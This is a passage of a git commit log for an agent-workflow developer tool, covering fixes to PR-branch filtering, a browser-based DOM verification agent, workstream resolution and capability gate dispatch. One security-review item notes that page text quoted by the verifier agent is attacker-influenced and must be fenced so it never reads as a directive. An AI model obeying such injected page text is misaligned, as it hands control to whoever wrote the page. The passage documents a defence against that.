subdirectories do not. Strict mode drops every .planning/ path, structural
files included, and carries a commit over only when it touches at least one
file outside .planning/.

Strict mode is what makes planning.commit_docs: true safe for a project that
versions its planning tree locally but publishes none of it. The alternative
posture, commit_docs: false, silently costs parallel executor isolation — a
worktree is checked out from a commit, so an untracked or ignored .planning/
is simply absent inside it and the executor has no PLAN.md to read. That claim
is now established by an executed fixture rather than inherited.

The two path lists are declared once and both projections derived from them,
so create_pr_branch and verify can no longer disagree about what the filter
promised. verify previously counted every .planning/ path against a documented
success criterion of zero while create_pr_branch was specified to preserve five
structural files, so a correct run reported itself as failed on every phase
that touched STATE.md — which is every phase. It now asserts against the active
mode, and names the .planning/ paths default mode deliberately keeps rather
than trading a wrong signal for silence.

Two verified defects in the same recipe are fixed alongside, because strict
mode would have amplified both. `git rm -r --cached` staged a deletion for any
.planning/ path the target branch already tracked, so the generated PR removed
the base branch's planning files — under strict mode that would have been the
entire tree. The same command left the picked file untracked on disk, so a
second commit touching that path aborted the cherry-pick with "untracked
working tree files would be overwritten" and every remaining commit was
silently dropped. Both were reproduced against real git before being fixed.
The filter now forces excluded paths back to what the PR branch's HEAD carries,
in the index and the working tree; a conflict outside the filter halts instead
of being improvised past; a commit left empty by filtering is skipped rather
than failing. A clean-working-tree precondition makes the worktree half safe.

Closes #2971

* fix(#2971): unwind the checkout on a conflict halt, and test the real recipe

Two review findings, both fixed in place.

The isolated adversarial pass found that the conflict-outside-the-filter branch
exited while leaving the user checked out on the half-built PR branch with
cherry-pick state still live — this loop runs in the user's own working
directory, so stranding them there is a real cost even though it is not a
vulnerability. The branch now aborts the pick, returns to the original branch,
removes the partial PR branch, and says so before exiting.

The standards pass found the L2 fixtures executed a hand-written mirror of the
cherry-pick filter recipe rather than the recipe itself, so a reordering in the
workflow would not have been caught — and the order is load-bearing, since
restoring a path from HEAD before removing it inverts the filter. The helper now
extracts the canonical loop from the shipped workflow and the fixtures execute
that verbatim, which also gives the conflict-halt unwind above real coverage.
The drift guard additionally pins the two commands' relative order and asserts
the workflow carries exactly one canonical loop.

Also records the publication gate in the CONTEXT.md glossary next to the commit
gate it is distinct from.

Refs #2971

* fix(#2971): make the conflict-halt unwind actually unwind, and use the colon slash form

The remote matrix caught two defects in the previous commit.

The halt path claimed to restore the original branch but did not. `git
cherry-pick --abort` does not apply to a single `--no-commit` pick with no
sequencer file, and the fallback left the unmerged index in place, which makes
`git checkout` refuse — a failure the `2>/dev/null || true` then swallowed, so
the user was told they had been restored while still sitting on the half-built
PR branch. The unwind now drops sequencer state, hard-resets the disposable PR
branch to clear the unmerged index, and only claims a restore when the checkout
actually succeeded; when it does not, it says where the user is and gives them
the two commands to finish it by hand. Verified against real git: exit 1, the
conflict named, HEAD back on the original branch, the partial branch gone, a
clean tree and no CHERRY_PICK_HEAD.

Two runtime-loaded source artifacts used the retired `/gsd-<cmd>` hyphen form,
which names a command no runtime registers. The canonical authoring token for
workflows and references is `/gsd:<cmd>`; docs keep the hyphen form, so the
documentation added in this branch is unaffected. The comment in src/config.cts
moves to the colon form too, since it propagates into the generated lib.

Refs #2971

* docs(#2971): backfill PR number into the changeset fragments (#3720)

---------

Co-authored-by: sim <sim@local>
2026-08-20 15:07:40 -04:00
Tom Boucher
14679b866b enhance(#2856): add default-off live-DOM UAT capability (#3716)
* test(#2856): add failing-first suite for the live-dom-uat capability

Binds the approved triage shape before any of it exists:

- containment — the execute:wave:post hook must not render unless
  workflow.live_dom_uat is true AND the capability resolves active
  (fail-closed on a missing state entry, and on a non-boolean value)
- criterion 4 — agents/gsd-executor.md carries no browser MCP family;
  asserted as an absence, which is the only way it is observable
- Hyrum guard — the pre-existing mcp__playwright__* branch must stay
  outside the key-gated block, or upgrading silently removes working
  automated UI verification for every current Playwright-MCP user
- parity — the browser glob list now lives in two surfaces (agent
  frontmatter + workflow detection block); the assertion fails if
  either gains or loses a family without the other

Red by construction: the capability, agent and workflow block do not
exist yet. Verified on the remote runner.

Refs #2856

* enhance(#2856): add default-off live-DOM UAT capability

A phase whose acceptance criteria needed a live DOM could not be
finished by the agent that executed it: gsd-executor carries no browser
tools, so it correctly returned checkpoint:human-action even though the
work was not human-only, just tool-less. Every such phase degraded to
"executed, then finished by hand in the orchestrator", and autonomous:
false could not distinguish "a human must judge this" from "the executor
lacks the tool".

Implements the shape approved at triage, not the one reported. The
executor's tools: line is NOT widened, in any configuration: for a
first-party agent the static list is the only control that exists
(ADR-1244 D2, ADR-857 D4, no per-dispatch override). Instead one
default-off capability owns the key, the agent, and the step:

- capabilities/live-dom-uat/ — activationKey workflow.live_dom_uat
  (boolean, default false), one additive step at execute:wave:post
  (onError: skip, gates: []), so it can never halt a wave
- agents/gsd-dom-verifier.md — the only GSD agent carrying browser MCP
  globs, in its own tools: line, with no Bash
- verify-work automated_ui_verification — a gsd:live-dom-families block
  naming both new families AND the key; presence alone never activates

Two independent fail-closed gates: isCapabilityActive renders a hook
only on state.active === true, plus the step's own `when`.

The pre-existing mcp__playwright__* branch keeps the gating it already
had and stays outside the new block. Pulling it behind a default-off key
would have silently removed working automated UI verification from every
current Playwright-MCP user on upgrade.

Also closes a host gap this surfaced: execute:wave:post dispatched only
contribution + gate, so ANY registered step was declared and silently
never run — exactly the single-kind hand-roll loop-hook-dispatch.md
names. Step 5.75 now dispatches every kind == "step".

The browser-profile lock is tolerated, not coordinated: --isolated is a
flag on the operator's own MCP-server registration that GSD neither
launches nor parameterizes, so the verifier reports could_not_look /
profile_locked, names the flag, and stops. DOM-VERIFY.md keeps
could_not_look and nothing_to_report distinct behind a closed reason
enum — collapsing them is the ambiguous-run-notes defect reported.

Verified on the remote runner.

Closes #2856

* fix(#2856): apply review findings from the orthogonal passes

Correctness pass (blocker):
- delete detectionBlockIsCrlfSafe. It was pass-always: it read the file,
  replaced LF with CRLF, then indexOf'd marker strings that contain no
  newline, so the replacement could not change the result and the
  assertion could never fail for the reason it stated. There is no real
  CRLF risk on this surface either — the gsd:live-dom-families block has
  no parser, only human and agent readers. Deleted rather than replaced,
  per the repo's pass-always-test rule.

Isolated security pass (two minors, both real):
- execute-phase.md step 5.75: this change is what first activates
  kind == "step" dispatch at execute:wave:post, which newly opens the
  ref.command shell path at that loop point. Our own step uses ref.agent
  and never touches it, but the door is now open, so the step-dispatch
  line carries the same in-context validate-before-shell warning the
  sibling gate-dispatch line directly below it already carries.
- gsd-dom-verifier: quoted page text in DOM-VERIFY.md is attacker
  influenced. Require it wrapped in inline code or a fence, kept short,
  and never left reading as a directive to the next reader.

Verified on the remote runner.

Refs #2856

* fix(#2856): settle the new-agent roster ripple

Checkpoint 2 returned 28 failures, none in the new suite — all of them
the guards that exist to make adding an agent a deliberate act. Each is
a real boundary that had to move:

- docs/AGENTS.md: Tools row must copy the frontmatter verbatim (#2526),
  so the browser globs lose their backticks; primary-agent counts 21->22,
  roster 33/34->34/35, Verifiers category 1->2
- docs/INVENTORY.md: roster completeness requires every agents/gsd-*.md
  to be classified exactly once
- gsd-dom-verifier: add the anti-heredoc instruction and the commented
  hooks: frontmatter pattern both agent gates require
- gsd-core/bin/shared/model-catalog.json: every shipped agent needs a
  profile entry (#3229)
- copilot-install / kilo-upgrades / qwen-upgrades: expected agent list
  and the 34->35 roster boundary
- execute-wave-post-gate-pipeline-e2e: execute:wave:post legitimately
  carries one step now. Asserted as an exact shape — one step, capId
  live-dom-uat, ref.agent gsd-dom-verifier, onError skip — so it stays a
  real guard against accidental change rather than being relaxed

Two findings worth naming:

mcp-tool-inheritance (#2526) rejected the agent for documenting
mcp__playwright__* while its tools: line withholds it — a dead
instruction that invites the agent to claim a path it cannot take. The
prose now names the Playwright MCP family without the dispatchable
token, in both the agent and the capability fragment.

runtime-launcher-parity rejected the new gsd_run call: each fenced block
is its own shell, so a workflow step file invoking gsd_run needs its own
canonical preamble. Propagated with scripts/sync-runtime-launcher.cjs.
That script also normalizes explore.md, which is unrelated pre-existing
drift the parity check tolerates, so it is reverted to keep this diff
scoped.

The emitted-drift ack supersedes the spent #3370 entry for
execute-phase.md — it is merged into next, so its ripple is absorbed at
the base and it can no longer clear anything. That is the same supersede
the #3370 entry itself performed on the spent #3324 fragment. Its
unrelated execute-plan.md entry is untouched.

Verified on the remote runner.

Refs #2856

* fix(#2856): drop the stale emitted-drift ack entry

The automated-ui-verification.md entry was written speculatively rather
than from a reported growth, and the check names that precisely: an ack
"written or reworded in THIS diff, but nothing here needed it, so it
explains nothing".

The growth tier keys on the bare filename as it appears under
gsd-core/workflows/ or agents/. automated-ui-verification.md is nested
under verify-work/steps/, so it was never in the tracked set — only
execute-phase.md was ever reported, both before and after the launcher
preamble landed.

Only ack what the check actually reports.

Verified on the remote runner.

Refs #2856

* chore(#2856): backfill changeset pr number

pr:0 -> 3716. The placeholder fails both changeset-lint
(fail_invalid_fragment) and docs-lint (fail_malformed_fragment) by
design and can only be resolved once the PR number exists. Both now
report ok against GITHUB_BASE_REF=next.

Refs #2856

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Co-authored-by: sim <sim@local>
2026-08-20 15:07:21 -04:00
Tom Boucher
77fa08f1e8 fix(#2773): feed the spec-phase edge probe English-translated requirement text (#3713)
* test(#2773): failing-first contract and premise tests for translated edge-probe input

Locks the Step 5.5 contract that a response_language project must feed the
edge probe an English translation of each requirement's text, and binds that
advice to measured engine behavior: the same requirement classifies to zero
shapes in Portuguese and to collection/adjacency/empty/ordering in English.

Also pins the honest limit — the issue's own repro sentence classifies to []
in English too, so translation is necessary but not sufficient and the
authored shapes override is the documented fallback.

Red before the doc change; the assertions are all false today.

Refs #2773

* fix(#2773): feed the spec-phase edge probe English-translated requirement text

The shape cues in src/edge-probe.cts are English word-boundary regexes, so a
project running with response_language set wrote its SPEC requirements into the
Step 5.5 $REQS_JSON heredoc in that language, matched no cue, classified to zero
shapes, and landed every row in the unclassified sentinel (#1110). The taxonomy
contributed nothing and --auto left it all unresolved — the probe was a silent
no-op for exactly the spec type it exists to harden.

Step 5.5 now states that the $REQS_JSON payload is engine input rather than
user-facing output, so the response_language rule does not govern it: each
requirement's text carries a faithful English translation, the SPEC keeps its
original language, and requirement ids are never translated or renumbered. The
instruction sits before the heredoc on purpose — the downstream APPLICABLE=0
warning fires only when every requirement is unclassified, so a partly-classified
non-English spec would otherwise slip through with no signal at all.

Measured against the compiled engine: the same requirement returns [] in
Portuguese and collection -> adjacency/empty/ordering in English. Also measured:
the issue's own repro sentence returns [] in English too, so translation is
necessary but not sufficient — the instruction therefore points at the authored
shapes override for prose carrying no cue in any language rather than promising
that translation restores classification.

Doc scope only, per the triage disposition on the issue. The compiled engine is
untouched; the lang-hint / per-language cue-set fix is a separate follow-up.

Closes #2773

* fix(#2773): clean up the edge-probe temp file on the placeholder-guard exit path

Surfaced by the isolated security review of this branch. Between the mktemp and
the unconditional cleanup, Step 5.5 has two sibling guards that disagreed about
their own invariant: the engine-failure guard runs rm -f "$REQS_JSON" before
exiting, while the empty/placeholder guard directly above it exited without one.
A spec run that tripped the placeholder check therefore stranded a temp file
holding the SPEC's requirement text in TMPDIR, once per failed run.

The added contract test walks the region between the mktemp and the
unconditional cleanup and asserts no exit path leaves the file behind, so the
two guards can no longer drift apart. Proven to bind: run against the pre-fix
file the walker reports the leaking exit; against the fixed file it reports none.

Refs #2773

* docs(#2773): record the edge probe's English-cue input constraint in the predicate store

The co-change gate flagged CONTEXT.md (13 co-changes with spec-phase.md) and
docs/CONFIGURATION.md (11) as candidate-missing-updates, and both were real
gaps rather than incidental coupling.

CONTEXT.md's EdgeCompletenessProbeModule entry documents the input contract for
classifyShape but did not record that SHAPE_CUES are English word-boundary
patterns — so the predicate store implied text was language-agnostic, which is
what a future agent reads before touching this seam.

docs/CONFIGURATION.md's response_language row is what a non-English project
reads when it turns the setting on; it now names the one deliberate exception
and links to the FEATURES.md explanation, so the interaction is discoverable
from the config key rather than only from the workflow.

CONTEXT-INDEX.json regenerated via gen-context-index.cjs --write. The drift-ack
fragment is updated for the final byte range and now also records the
placeholder-guard cleanup fix folded into the same block.

Refs #2773

* fix(#2773): append the growth rationale to the existing spec-phase.md ack entry

The remote runner caught this: emitted-attribution.test.cjs pins the
0000-legacy-migration.json spec-phase.md entry permanently (the #2914 migration
regression test asserts the exact '31987 -> 31997' delta text survives), so
removing it to avoid a duplicate-key collision with a new fragment broke that
test instead of satisfying the ratchet.

The entry is an accreting log, not a single-use slot — #2733, #3132 and #3102
were each appended to the same reason string by later PRs, which is how a shared
growth key coexists with the rule that two ack sources may never name the same
path. This appends the #2773 rationale the same way and drops the separate
fragment, whose spec-phase.md key was the collision.

Verified locally by reproducing both affected tests against the real fragment
before re-dispatching: the pinned delta survives, grown[0].acked is true,
staleAcks is empty, and all 35 entries still read as spent.

Refs #2773

* docs(#2773): add a how-to for probing edges in a non-English project

The phase gate's enablementSequence check caught a wrong call of mine. I had
recorded that no how-to was owed because the user takes zero extra steps — the
workflow translates the probe input itself. Written out, though, the sequence
from off to value is two steps and step 1 depends on response_language, a
setting owned by a different capability than the edge probe, which is exactly
the condition the how-to test names.

There is also real task content a reference table cannot carry: the three-way
split between a few unclassified rows (the classifier's recall gap), every row
unclassified (the probe could not read the spec at all), and the silent
partly-classified case where the APPLICABLE=0 warning never fires. That last
one is what a user would otherwise misread as a clean bill of health.

Shaped after the resolve-edge-coverage-findings / resolve-unreachable-guard
siblings and indexed from docs/README.md next to its closest relative.

Refs #2773

* chore(#2773): backfill the changeset PR number

pr:0 placeholder replaced with the real PR number now that #3713 exists.

Refs #2773

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Co-authored-by: sim <sim@local>
2026-08-20 13:36:00 -04:00
Tom Boucher
2fca0e17e4 enhance(#2554): resolve code review depth from path-scoped override rules (#3695)
* test(#2554): failing-first suite for path-scoped code review depth overrides

Binds the not-yet-built code-review-depth module: segment-aware path-prefix
matching of a changed-file set against ordered {paths,depth} rules, resolution
order flag > strongest matching rule > global > standard, typed validation
errors, and the large-scope downgrade boundary. Also proves behaviorally that
workflow.code_review_depth_overrides is not yet a registered config key.

Refs #2554

* feat(#2554): resolve code review depth from path-scoped override rules

Adds workflow.code_review_depth_overrides — an ordered array of {paths, depth}
rules matched against a review's changed-file set by segment-aware path-prefix
comparison. Resolution order is --depth= flag, then the strongest matching rule,
then workflow.code_review_depth, then standard; a matching rule replaces the
global rather than being max'd with it, so quick and standard rules stay
meaningful. Glob metacharacters are a hard configuration error rather than sugar
for a prefix, and malformed rules halt the review instead of degrading to
standard. The resolver is pure and reports its own provenance, so the workflow
can print the resolved depth and the rule that matched. The pre-existing
>50-file deep-to-standard downgrade moves into the module and now names the rule
it overrode.

The key is registered centrally rather than as a capability config slice: the
federated slice channel admits only boolean/string/number/enum, so an array
slice would be dropped as malformed.

Closes #2554

* test(#2554): correct depth-provenance assertions and pin out-of-repo paths

Two corrections to the failing-first suite. The source assertion for a
non-matching rule with no global configured expected 'config'; with no global
set the depth comes from the default, and a companion assertion tolerated
either value, so both passed against an implementation that derived provenance
from whether any rules existed rather than from where the depth came from.

The out-of-repo absolute-path case used a home-directory path that matched
neither implementation, so it never exercised the defect it named. It now pins
the discriminating cases: an absolute path outside the repo root must not match
a repo-relative rule, and one under the root must.

* docs(#2554): document path-scoped code review depth overrides

Reference rows for workflow.code_review_depth_overrides in the configuration,
features and commands references plus the locale copies that carry those tables,
and in the planning-config reference. Explanation of why escalation is
whole-review rather than per-file and why v1 is prefix-only. New how-to for
scoping review depth by path, carrying the configuration-error reason table and
the distinction between nothing to report and could not look. CONTEXT.md
glossary entry and the INVENTORY row for the new CLI module.

ja-JP and ko-KR CONFIGURATION.md carry no code_review keys at all, and ko-KR and
pt-BR FEATURES.md carry no code-review config table, so those files are
deliberately untouched.

* fix(#2554): make the depth-misconfiguration halt executable and reject control chars

Three review findings, all in this change.

The misconfiguration halt was prose rather than shell: the error-printing fence
was followed by an unconditional extraction fence, so an ok:false result threw
and left the depth empty instead of stopping the review. Prose is not a guard —
the two fences are now one block with a real conditional, and anything that is
not the literal string true fails closed.

An interior control character in a rule path survived validation and reached the
provenance string and the summary box; rule paths now reject control characters
via a new PATH_CONTROL_CHAR reason, after the glob check so precedence is
unchanged. That in turn makes the field record safe to delimit, so the seven
node invocations that each re-parsed the same result to read one field collapse
to one.

Also corrects the glossary entry's illustrative paths, which the glossary-ref
check read as real repository references.

* fix(#2554): use the fast-check v4 string API and acknowledge workflow growth

Two failures from the remote matrix on d3111f45, both this branch's.

The property block built its segment arbitrary with fc.stringOf, removed in
fast-check v4. Because the arbitrary is constructed in the describe body, the
throw took out all four property tests rather than one — they had never
executed. Rewritten to fc.string({unit, ...}), the form this repo already uses
in emitted-attribution.test.cjs. Every other fast-check helper in the file was
audited against the installed module.

The emitted-attribution growth arm needed an acknowledgment for code-review.md,
which grew 5376 bytes. The pre-existing 3503 fragment keying the same file is
spent — its ripple was absorbed when #3503 merged, and the base file is exactly
the 34435-byte baseline this growth is measured against — so it cannot clear
anything, while the ack lint hard-fails on a duplicate key across two sources.
Removed it in favor of the new fragment, which is exactly how #3503 itself
replaced the spent 3191 fragment.

* docs(#2554): backfill changeset PR number

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Co-authored-by: sim <sim@local>
2026-08-19 22:45:35 -04:00
Tom Boucher
79781e68eb enhance(#2401): ground verify-command paths and inherit prior-phase commands (#3678)
* feat(#2401): ground <automated> verify-command paths and inherit prior-phase commands

Adds a deterministic resolvability probe over each PLAN.md <automated> verify
command and surfaces the nearest prior phase's proven commands to the planner
at every context window.

- src/verify-command-grounding.cts: recognizer (not a shell interpreter) that
  grounds a leading cd <literal> chain and npm --prefix <literal>, and reports
  unresolvable rather than guessing. Never executes command text.
- gsd-tools check verify-command-paths <N>: per-phase probe, wired into
  plan-phase.md before the plan-check pass.
- init.plan-phase gains prior_verify_commands, ungated by context_window.
- gsd-plan-checker: new Verify Command Path Resolvability dimension that
  reports the failing target and never prescribes a replacement.

Also fixes first-match-wins prefix bucketing in scripts/lint-test-file-count.cjs
(readdir order is not stable across platforms, so a module whose name extends
another's with a hyphen bucketed differently on Linux than on macOS).

Closes #2401

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#2401): ground the canonical --prefix form, quoted paths, and absolute cd resets

Independent review found three defects in the recognizer:

- npm --prefix DIR run SCRIPT never reached the script-existence check,
  because the pattern required npm and run to be adjacent. That is the
  form the docs tell planners to prefer, so script_missing never fired
  for it. The prefix flag and its value are now stripped before matching.
- --prefix captured with \S+, so a quoted path containing a space was
  truncated to a stray opening quote and reported as a missing directory
  - a false blocker, worse than the bug this feature fixes. The capture
  is now quote-aware.
- A chained cd whose later segment was absolute concatenated instead of
  resetting, producing a nonsense path and another false blocker. The
  fold now resets on an absolute segment.

Also replaces the bespoke phase-directory regex with the canonical
phase-id helpers. Real phase directories are NN-slug, not phase-N-slug,
so the prior-command harvest matched nothing outside its own fixtures
and the planner-inheritance half of this feature was dead code.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* refactor(#2401): source task blocks from the canonical sectionizer

The module carried its own copy of the <task>-block grammar - a fourth
hand-rolled mirror of the one markdown-sectionizer owns. verify.cts keeps
its copy only because it needs the type= attribute the canonical helper
discards; this module never reads that attribute, so it can share the
owner outright instead of adding a test around a copy.

extractAutomatedCommands now takes task bodies from extractTaggedBlocks
and the out-of-task remainder from stripTaggedBlocks. A task-grammar
parity test pins the attributed task-name set against the canonical
helper across six awkward task shapes.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#2401): extract agent-file overflow to references and repair the property arbitrary

The remote matrix run came back red with 19 failures, four root causes:

- agents/gsd-plan-checker.md and agents/gsd-planner.md both blew the
  49152 agent cap. Their bodies move to gsd-core/references/, leaving
  @-reference stubs, per the documented overflow pattern.
- The new checker dimension invoked gsd_run before the canonical
  preamble that defines it. The call is deleted outright: plan-phase.md
  already runs the probe and hands the result in as {VERIFY_PATHS}, so
  the dimension consumes that rather than re-running anything.
- fc.fullUnicodeString does not exist in fast-check 4.8.0. Replaced with
  fc.string({ unit: 'binary' }), which covers the same 0000-10FFFF range.
- Three runtime-loaded files grew; acknowledged in the existing ack
  fragments that already own those bare filenames, since two ack sources
  may never name the same path.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* test(#2401): regenerate golden install-tree fixtures for the new references

Adding two files under gsd-core/references/ changes what the installer
emits into every runtime's tree, so all 19 golden install-parity
fixtures went stale. Regenerated with npm run gen:install-tree; the
delta is exactly the two new reference paths per runtime, no removals.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* chore(#2401): backfill changeset pr number to 3678

* fix(#2401): treat ~ as a home expansion only at the start of a path

Windows CI caught this on both shards; the Linux-only remote matrix
cannot see it. The dynamic-path refusal rejected ~ anywhere, and a
GitHub Windows runner's tmpdir is an 8.3 short name -
C:\Users\RUNNER~1\AppData\Local\Temp - so a valid absolute Windows
path came back unresolvable/dynamic_path.

This was a production bug, not a test artifact: any Windows user whose
project path carries an 8.3 short name, or any literal ~, silently lost
the probe entirely - every command degrading to unresolvable with no
explanation.

~ is a home expansion only at the start of a path; elsewhere it is an
ordinary literal. The check is now split: $, backtick, *, ? and newline
stay refused anywhere (substitution and globs, and the glob characters
are illegal in Windows path components regardless), while ~ is refused
only leading, tolerating one leading quote since the check runs before
quote stripping.

The prior tests only caught this on Windows because only Windows puts a
~ in tmpdir. Four new tests pin it on every platform via a fixture
directory literally named RUNNER~1.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

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Co-authored-by: sim <sim@local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-19 15:21:15 -04:00
Tom Boucher
9de4d67118 fix(#3579): a pointer-less session inherits the repo active-workstream marker (#3616)
* test(3579): failing-first coverage for repo-marker inheritance

A session that carries an identity but has never run 'workstream use' reads an
absent session pointer, resolves null, and composes the flat .planning tree even
when .planning/active-workstream names a live workstream. These tests fail on that
and pin the invariants the fix must not break: a session with its own pointer is
never repointed, and a session that merely lacked a pointer must never clear the
shared marker on another session's behalf.

* fix(3579): a pointer-less session inherits the repo active-workstream marker

RED proven at 157cae26: the three inheritance tests failed while every isolation and
negative control passed on base — the gap, and nothing else.

pickActiveWorkstreamAdapter returned exactly ONE adapter: the session-scoped one
whenever a session key existed, so the shared .planning/active-workstream marker was
never consulted. getWorkstreamSessionKey resolves a key from ~13 env vars or the
controlling TTY, so on any normal interactive terminal a key almost always exists —
which is why a session that had never run 'workstream use' read an absent pointer,
resolved null, and composed the FLAT planning tree even though the repo marker named a
live workstream. Reads misreported; writes corrupted the superseded flat STATE. Silent,
because the stale tree is well-formed.

This was a genuine design fork, not an oversight: references/workstream-flag.md
documented step 4 as a fallback 'when no session key exists', and the session isolation
that buys is deliberate (#2850). The issue's Agent Brief left the choice open and said
the reference doc should match whatever semantics ship. The maintainer ruled in chat for
inheritance.

Resolution now walks an ORDERED chain — session adapter first, shared second — and only
a null from the session adapter falls through to the marker. Strictly additive: it can
only turn a null into a name, never change a name that already resolves.

The dangerous part is clear() ownership. resolveFromChain treats chain[0] as owned: only
it is ever cleared, and only under selfHeal (getActiveWorkstream, never peek). An
INHERITED marker is read-only — a stale value there resolves null and the file is left
alone. Without that, one pointer-less session's read would delete the repo marker for
every other session, which is a worse bug than the one being fixed. Covered by a test
that asserts the marker still exists on disk after such a read.

peekActiveWorkstream inherits but still mutates nothing (#2850 — the statusline draws on
every render).

references/workstream-flag.md's Resolution Priority is rewritten to match, keeping the
session-isolation rationale and noting that inheritance does not weaken it: a session
that owns a pointer is never repointed.

Fixes #3579

* fix(3579): correct the guard diagnostics and lock the clear-semantics

Three review passes; every finding fixed inline.

MISSING ACCEPTANCE CRITERION (spec pass). The brief requires refusal diagnostics that
distinguish 'marker present but the session lookup missed it' from 'no workstream set at
all', and the two workstream-mode fail-safe guards were byte-for-byte untouched — still
emitting a generic 'no active workstream is set' even when a marker exists and merely
names a missing directory. Both guards (cmdPhaseComplete, cmdInitProgress) now branch on
a new read-only diagnoseUnresolvedActiveWorkstream, which reuses the SAME
resolvesToExistingWorkstream predicate resolveFromChain uses, so the diagnosis and the
resolution cannot disagree. Two typed reasons added to ERROR_REASON; both arms still
refuse — the fail-closed behavior is unchanged, only the message is now true.

REAL TEST FAILURE, not a flake. The remote run failed 'clearing one session does not
clear another session pointer'. That describe uses before() rather than beforeEach, so
one tmpDir is shared and an earlier test writes active-workstream=beta into it; under
inheritance the just-cleared session picks that marker up and resolves beta instead of
null. The failure is a CORRECT consequence of Option A surfaced through an
order-dependent fixture. The test now establishes its own marker state explicitly — its
real intent (clearing A must not disturb B's pointer) is preserved and not weakened — and
a new test pins the semantic deliberately: clearing a session pointer returns that
session to INHERITING the marker, it does not force flat mode. Documented in
references/workstream-flag.md, including how to actually get flat behavior.

Also from review: partial activeWorkstreamAdapters injection no longer silently
synthesizes a REAL filesystem adapter for the missing half (a latent test-isolation
trap); the duplicated validate-then-existsSync logic is factored into one predicate; and
the two try/finally test bodies are converted to t.after per CONTRIBUTING.

New coverage: whitespace/empty shared marker; a session whose OWN pointer is stale while
the marker names a different valid workstream (must self-heal to null, never inherit —
the isolation guarantee at its sharpest); and both new diagnostic arms asserted on
structured --json-errors output rather than prose.

* fix(3579): read resolvability with the non-mutating peek, not the self-healing resolver

Three of our own new tests failed on 7f5e706a. All three had ONE root cause, and none
was fixed by relaxing an assertion.

gsd-tools.cjs's bootstrap called the MUTATING getActiveWorkstream unconditionally on
every invocation, purely to populate routing env. On an unresolvable pointer that
self-healed — cleared it — BEFORE the dispatched command ran its own resolution. A second
read in the same process then observed already-cleared state:

- Isolation violation: a session whose own pointer was stale had it cleared by the
  bootstrap, so cmdWorkstreamGet's own resolution found a pointer-LESS session and
  inherited the shared marker ('beta' instead of null). Exactly the guarantee #2850 exists
  to protect, defeated across two calls rather than within one.
- Guard diagnostics: the guards' own truthiness check also used the mutating resolver, so
  it cleared the invalid marker and the immediately-following read-only diagnosis found
  nothing and reported none_active instead of marker_unresolved.

So a single invocation's answer depended on how many times it resolved. The bootstrap
self-heal is PRE-EXISTING and was harmless while pointer-less meant flat — inheritance is
what made it answer-changing, so this fix belongs here.

Every call site that only CHECKS resolvability — the bootstrap, both fail-safe guards'
truthiness check, and two informational init report fields — now uses the non-mutating
peekActiveWorkstream. Self-heal is unchanged in active-workstream-store and still fires
exactly once, at whichever site actually consumes the workstream.

Verified by driving the real CLI against temp fixtures, since the suite cannot run
locally: stale-own-pointer resolves null with the marker intact; both guard arms report
marker_unresolved with missing_workstream_dir / invalid_name and the marker survives;
no-marker still reports none_active; identity-less self-heal still deletes an invalid
marker byte-identically to pre-#3579; and a session with a valid own pointer still wins.

* chore(3579): backfill changeset PR number (#3616)

* test(3579): kill the surviving mutants in the new resolution code

CI's Stryker gate failed: active-workstream-store scored 79.45% against a break
threshold of 80 — 259 killed, 67 survived, at 'Ran 1.00 tests per mutant on average'.
The survivors cluster in the code this PR added (pickActiveWorkstreamAdapterChain,
resolvesToExistingWorkstream, resolveFromChain, diagnoseUnresolvedActiveWorkstream):
the CLI-level tests exercise those paths but do not DISCRIMINATE their branches, which
is precisely what a surviving mutant means.

Raised by strengthening assertions, never by touching the threshold. 21 unit tests added
to the existing unit suite, each written to fail under a specific named mutant, using the
module's injected adapter seams and createMemoryPointerAdapter so they stay hermetic
under Stryker's per-mutant reruns:

- chain shape with and without a session key, asserting length AND element identity
  (kills the if(false), the ': []' array mutant, and the block removal)
- partial adapter injection, asserting the missing half is an inert memory adapter that
  never touches the filesystem (kills the three '??' -> '&&' mutants)
- both arms of '!name || !validateWorkstreamName(name)' as SEPARATE tests — an absent
  name and a non-empty invalid one — which is what kills the '||' -> '&&' mutant
- self-heal discrimination: getActiveWorkstream must clear an unresolvable owned pointer
  and peekActiveWorkstream must not, asserted on adapter state after each
  (kills if(selfHeal) -> if(true))
- fallback arm both ways: a fallback that resolves and one that does not
- diagnoseUnresolvedActiveWorkstream asserted as a full object per case, with the reason
  strings compared exactly (kills present:true -> false and both StringLiteral mutants)

One mutant is deliberately left: 'if (chain.length === 0)' -> 'if (false)'. The branch is
structurally unreachable — the only chain source always returns a 1- or 2-element array
literal — and resolveFromChain is not exported. Killing it would mean exporting an
internal or deleting a defensive guard; neither is worth doing for a mutant, and the
score clears 80 without it. Recorded here rather than left unexplained.

Every new assertion was evaluated against the built module with real fixtures before
committing, since the suite cannot run locally.

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Co-authored-by: sim <sim@local>
2026-08-18 11:37:44 -04:00
Tom Boucher
fba3b9c24f fix(#3559): dispatch every ship:pre capability gate, not two hardcoded capIds (#3608)
* test(3559): failing-first coverage for generic ship:pre gate dispatch

ship.md's preflight resolves every active ship:pre gate then enforces exactly two
hardcoded capability IDs, so a third-party capability's blocking gate is resolved,
evaluable, and silently dropped. These tests fail on that dispatch dead-end and
pin the generic evaluator contract the fix will drive.

* fix(3559): dispatch every ship:pre gate generically, not two hardcoded capIds

ship.md's preflight resolved every active ship:pre gate via render-hooks and then
enforced exactly two capability IDs — security and broken-windows. Every other
capId, including any third-party capability's blocking gate, was resolved,
evaluable, and silently dropped: a phase shipped past its own declared failing
gate with nothing evaluated and nothing warned.

Preflight now iterates every active kind=="gate" entry in array order, dispatching
by check shape through the generic evaluator (gsd_run check predicate, ADR-2008)
and honoring each gate's own blocking and onError — the contract execute:wave:post,
execute:post and plan:post already implement and references/loop-hook-dispatch.md
already specifies. docs/how-to/command-exit-zero-gate.md already documented ship:pre
as auto-dispatching, so this restores documented behavior rather than changing it.

security and broken-windows are retained verbatim as named specializations INSIDE
the loop, so their bespoke fail-closed reads are unchanged and every gate is visited
exactly once — no double-enforcement is representable.

Also corrects two CONTEXT.md predicates that described the hardcoded shape, and the
test file's header note claiming ship:pre has no runnable evaluator (stale since #2008).

Fixes #3559

* fix(3559): validate third-party gate checks in-context before any shell use

